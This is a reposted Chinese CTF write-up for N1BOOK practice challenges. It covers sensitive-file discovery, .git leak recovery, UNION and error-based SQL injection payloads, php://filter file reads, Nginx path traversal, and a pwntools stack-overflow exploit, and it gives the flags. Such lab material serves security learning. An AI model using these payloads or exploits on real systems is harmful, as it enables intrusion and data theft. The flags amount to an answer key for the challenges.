N1BOOK 記錄


參考《從0到1 CTFer成長之路》

[第一章 web入門]常見的搜集

先驗知識:常見的敏感文件

  1. gedit備份文件,格式為filename~,比如index.php~
  2. vim備份文件,格式為.filename.swp或者*.swo或者*.swn,比如.index.php.swp
  3. robots.txt
  4. 還有filename.bak文件

方法

  1. 地址后加/index.php~
  2. /.index.php.swp會即刻下載備份文件,可通過vi index.php建一個只有空格的文件,然后通過vim -r index.php進行恢復即可得到
  3. /robots.txt

    查看這個文本文件

    綜上可得

n1book{info_1s_v3ry_imp0rtant_hack}

[第一章 web入門]粗心的小李

git泄露

方法

  1. 借助GitHacker工具
  2. git clone https://github.com/WangYihang/GitHacker.git
  3. cd GitHacker
  4. python Githacker.py http://0fcbe3ec-471a-452a-9e5f-953c5026eb18.node3.buuoj.cn/.git
  5. 進入恢復后的文件夾cd 0fcbe3ec-471a-452a-9e5f-953c5026eb18_node3_buuoj_cn_,有個index.html
  6. 瀏覽器打開index.html即可拿到flag

n1book{git_looks_s0_easyfun}

[第一章 web入門]SQL注入-1

  1. 打開題目鏈接可以看到
  2. 試試id=1+1的回顯,發現和id=1結果相同,所以不是數字型注入,可能是字符型
  3. 嘗試id=1a發現和id=1結果相同,所以確實是字符型
  4. 嘗試用id=1'#,單引號用於閉合前面的單引號,井號用於注釋后面預置的單引號。這里注意:#一定要用URL編碼,即%23,所以實際上需要輸入id=1'%23單引號會被自動轉成%27
  5. 可以成功顯示
  6. 優先嘗試UNION注入id=-1'union select 1,2,3%23,其中-1是為了使第一行記錄無法被查詢到,當然,除了-1也可以是一個很大的值比如1024、100等。后面的查詢語句是嘗試測試哪些字段可以回顯參考
  7. 所以將數字2改成我們想查詢的內容:所有表名group_concat(table_name)group_concat是用,聯合多行記錄的函數。所以為查詢本數據庫的其他所有表名,需id=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()%23,隨即看到fl4g
  8. 查詢fl4g中的字段名,id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='fl4g'%23
  9. 獲取fllllag的內容,id=-1'union select 1,fllllag,3 from fl4g%23

n1book{union_select_is_so_cool}

[第一章 web入門]SQL注入-2

先驗知識

  1. 有的網站會開啟錯誤調試信息方便開發者調試,可以利用報錯信息進行報錯注入
  2. updatexml第二個參數應為合法XPATH路徑,否則會在引發報錯的同時輸出傳入的參數
  3. dual用於測試數據庫是否可以正常使用

方法

  1. 在連接后加上/login.php,右鍵查看源碼

  2. 回到登錄頁面,打開Burp Suite,安裝方法參考
  3. 推薦瀏覽器插件:SwitchyOmega,可以省去每次設置代理的步驟,使用BurpSuite時,點擊插件選擇對應Burp Suite的代理即可
  4. 在login界面隨便輸入用戶名和密碼如1,1然后點擊登錄
  5. 可以在Burp Suite中Proxy->HTTP history看到記錄
  6. CTRL+R,發送到Repeater,在login.php后添加?tips=1,點擊Go,看到報錯
  7. 用dual進行測試name=1'and updatexml(1,concat(0x7e,(select 1 from dual)),1)#&pass=xxxx
  8. 說明存在過濾,將select改成selEct重新發送后回顯正常
  9. 之后的操作與與SQL注入1同理,將selEct后的1改為group_concat(table_name),dual改為information_schema.tables where table_schema=database()以查看所有表名
  10. 仍與SQL注入1同理,查看fl4g的字段,分別改為group_concat(column_name)和information_schema.columns where table_name='fl4g'
  11. 獲取flag,selEct flag from fl4g

n1book{login_sqli_is_nice}

[第一章 web入門]afr_1

先驗知識

  1. PHP向用戶提供的指定待打開文件的方式,是一個文件流
  2. PHP的Filter機制,可對目前的協議進行一定的處理,比如將當前文件流的內容進行Base64編碼。使用方法php://filter/read=convert.base64-encode/resource=xxx
  3. 利用Filter機制,構造形如以上的攻擊數據可以讀取文件,拿到各種文件的源碼

方法

  1. 點擊題目鏈接
  2. p=php://filter/read=convert.base64-encode/resource=hello

PD9waHAKCmVjaG8gImhlbGxvIHdvcmxkISI7

Base64解碼結果為

<?php
echo "hello world!";
  1. 嘗試改p,發現p=flag時有回顯,所以應該存在這么個文件
  2. p=php://filter/read=convert.base64-encode/resource=flag

PD9waHAKZGllKCdubyBubyBubycpOwovL24xYm9va3thZnJfMV9zb2x2ZWR9

  1. 解碼結果為
<?php
die('no no no');
//n1book{afr_1_solved}

[第一章 web入門]afr_2

先驗知識

Nginx錯誤配置可能產生目錄穿越漏洞,比如:

location /static {
    alias /home/myapp/static/;
}

由於static后沒有加/,如果用戶請求/static../,拼接到alias進會變成/home/myapp/static/../會穿越到myapp目錄

方法

  1. 點擊題目鏈接
  2. 右鍵查看源碼
  3. 查看img目錄
  4. 目錄穿越
  5. 下載flag,用記事本打開即可

n1book{afr_2_solved}

[第五章 CTF之RE章]Hello, RE

直接拖到ida64反編譯即可看到flag

n1book{Welcome_to_reversing_world!}

[第六章 CTF之PWN章]stack

題目提供了libc-2.27.so和stack,根據經驗知道這題環境是Ubuntu18,需要進行堆棧平衡

  1. checksec stack
  2. IDA64反編譯,並查看main函數
int __cdecl main(int argc, const char **argv, const char **envp)
{
  vuln(*(_QWORD *)&argc, argv, envp);
  return 0;
}
  1. 進一步查看vuln,發現棧溢出漏洞
  2. 雙擊變量v1查看棧信息,所以當覆蓋'a'*18后即可到達函數返回地址
  3. 同時注意到IDA64的函數窗口有個shell,查看以下發現
  4. 所以需要將shell的地址0x覆蓋到vuln的返回地址即可。由於前面提到需要堆棧平衡,我們還要知道shell的ret地址

  5. 綜上,有exp如下
from pwn import *

#p = process('./stack')
p = remote('node3.buuoj.cn', 25413)
shell = 0x400537
retn = 0x40054e
payload = 'a' * 18 + p64(retn) + p64(shell)
p.sendline(payload)
p.interactive()         
  1. python exp.py

n1book{851939e4e90b864b8d20fe6228564522}


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM